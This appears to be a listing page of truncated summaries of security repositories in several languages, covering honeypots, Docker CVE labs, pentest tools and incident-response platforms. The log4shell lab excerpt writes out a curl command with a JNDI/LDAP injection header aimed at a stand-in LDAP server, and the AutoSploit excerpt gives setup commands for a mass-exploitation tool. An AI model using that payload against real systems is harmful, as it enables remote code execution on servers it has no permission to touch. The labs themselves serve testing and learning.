dns-honeypot

Minhas Primeiras 24 Horas Executando um Honeypot DNS Como engenheiro que passa a maior parte dos dias imerso em ferramentas de observabilidade, tenho ocasionalmente uma ideia que simplesmente preciso colocar em prática. Este foi um desses experimentos: subir um resolvedor DNS em um IP limpo que...

docker-cve-2018-15473

Docker CVE-2018-15473 Um docker simples para testar ferramentas de pentest contra CVE-2018-15473 root@kitploit: docker-compose build docker-compose up...

CVE-2026-20896

Laboratório CVE-2026-20896 Este repositório fornece um laboratório pequeno e autocontido para explorar o problema CVE-2026-20896 em um ambiente controlado e autorizado. Visão Geral O laboratório inclui: poc.py: meu script de prova de conceito personalizado que demonstra o problema e exporta...

Cisco-FMC-honeypot

FMC-Trap Um honeypot de baixa interação que imita a superfície web de um Cisco Secure Firewall Management Center FMC e captura tráfego de ataque não autenticado do tipo serialização Java sondagens de desserialização insegura estilo CVE. Seguro por design: a aplicação não desserializa objetos Java...

log4shell_lab

laboratório de exploração log4shell Este repositório é uma configuração de linha única para o laboratório de exploração log4shell. Configure o laboratório: docker-compose up -d Execute o exploit: curl -X GET http://localhost:8080/ -H "X-Api-Version: $jndi:ldap://myldapserver:1389/a" Em seguida, v...

CVE-2018-19131

CVE-2018-19131 Demonstração Autor: Jonathan M. Wilbur Ano de copyright: 2018 Licença: MIT License Não faça nada ilegal com isto. Isto não é malware. Isto é apenas uma prova de conceito. Esta é uma demonstração de CVE-2018-19131, que executa em um aplicativo Docker Compose. Esta biblioteca compila...

wirehole

O que é isto? WireHole é um projeto docker-compose que combina WireGuard, PiHole e Unbound para criar uma VPN de túnel completo ou dividido split-tunnel que é fácil de implementar e gerenciar. Esta configuração permite uma VPN com bloqueio de anúncios via PiHole e privacidade DNS aprimorada e cac...

AutoSploit

Docker डिप्लॉयमेंट निर्देश tl;dr docker-compose का उपयोग करके: root@kitploit: git clone https://github.com/NullArray/AutoSploit.git cd Autosploit/Docker docker-compose run --rm autosploit केवल Docker का उपयोग करके: root@kitploit: git clone https://github.com/NullArray/AutoSploit.git cd...

FACT

Ferramenta de Coleta de Artefatos Forenses Visão Geral FACT é uma ferramenta para coletar, processar e visualizar dados forenses de clusters de máquinas executando na nuvem ou on-premise. Implantação Para uma implantação básica de um único nó, recomendamos usar Docker e Docker Compose. Primeiro,...

ehir-vuln-enterprise-login

الإعداد المحلي لبوابة الشركة المؤسسية يحتوي هذا المشروع على إعداد محلي معبأ في حاويات يتضمن بوابة أمامية ومدخل خلفي متكامل. هيكل مساحة العمل client/: يحتوي على ملفات الواجهة الأمامية الثابتة index.html باستخدام Bootstrap 5 ومعالج اتصال API. docker-compose.yml: ملف تنسيق متعدد الحاويات محلي. تعليم...

CVE-2021-43798

Subir o lab docker compose up -d Poc: python3 CVE-2021-43798.py IP PORT By: https://www.linkedin.com/in/steven-guimaraes-29aa79212/...

ensimag-secu3a-cve-2024-22416

CVE-2024-22416 المرجع: GHSA-pgpj-v85q-h5fm يحتوي هذا المستودع على إعداد docker compose يُجهّز كلاً من خادم pyLoad وخادم مهاجم يوفّر csrf.html فقط. لتجربة الثغرة بنفسك، فقط شغّل docker composer up تحتاج إلى تثبيت docker composer بالإضافة إلى docker. ثم ابدأ بالانتقال إلى localhost:8000، وهي صفحة...

pentest_lab

Laboratório de Pentest Não estou mais desenvolvendo ativamente isso, mas vou corrigir bugs e analisar issues e pull requests. Ajuda é apreciada : Este laboratório local de pentest utiliza docker compose para levantar vários serviços vítimas e um serviço atacante rodando Kali Linux. Se você execut...

Reconator

Reconator هي إطار عمل استطلاع آلي. أضف هدفًا — منفردًا أو بالجملة — ويقوم العامل worker بتشغيل حوالي 17 وحدة استطلاع ضده تعداد النطاقات الفرعية subdomain enum، مسح الأدلة dirbrute، تعدين JS/الروابط، بصمة WAF، فحص الاستيلاء takeover check، فرز GF GF triage، والمزيد. توضح لوحة التحكم ناتج كل وحدة ف...

DSP

DockerSecurityPlayground Docker Security Playground एक एप्लिकेशन है जो आपको निम्नलिखित की अनुमति देता है: नेटवर्क और नेटवर्क सुरक्षा परिदृश्य बनाएं, ताकि अपने पीसी पर DSP इंस्टॉल करके नेटवर्क प्रोटोकॉल, नियम और सुरक्षा मुद्दों को समझ सकें। वल्नरेबिलिटी लैब परिदृश्यों का अनुकरण करके पेनिट्रेशन...

iris-web

Sistema de Investigação de Resposta a Incidentes Versão Atual v2.4.20 Demonstração Online IRIS Iris é uma plataforma web colaborativa que visa ajudar respondedores de incidentes a compartilhar detalhes técnicos durante investigações. Índice Primeiros Passos Executar IrisWeb Configuração...

CVE-2025-34159

CVE-2025-34159 : Injection Docker Compose dans Coolify Aperçu de la vulnérabilité Champ| Valeur ---|--- Identifiant CVE| CVE-2025-34159 Affecte| Coolify ≤ v4.0.0-beta.420.6 Corrigé dans| v4.0.0-beta.420.7 Sévérité| Critique CVSS 4.0| CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H...

CVE-2019-13956

CVE-2019-13956 cd CVE-2019-13956 docker-compose up -d http://127.0.0.1:8090...

CVE-2019-19356

CVE-2019-19356 cd CVE-2019-19356 docker-compose up -d...

faraday

Gerenciador de Vulnerabilidades Open Source A segurança tem duas tarefas difíceis: projetar maneiras inteligentes de obter novas informações e acompanhar as descobertas para melhorar os esforços de remediação. Com o Faraday, você pode se concentrar em descobrir vulnerabilidades enquanto nós o...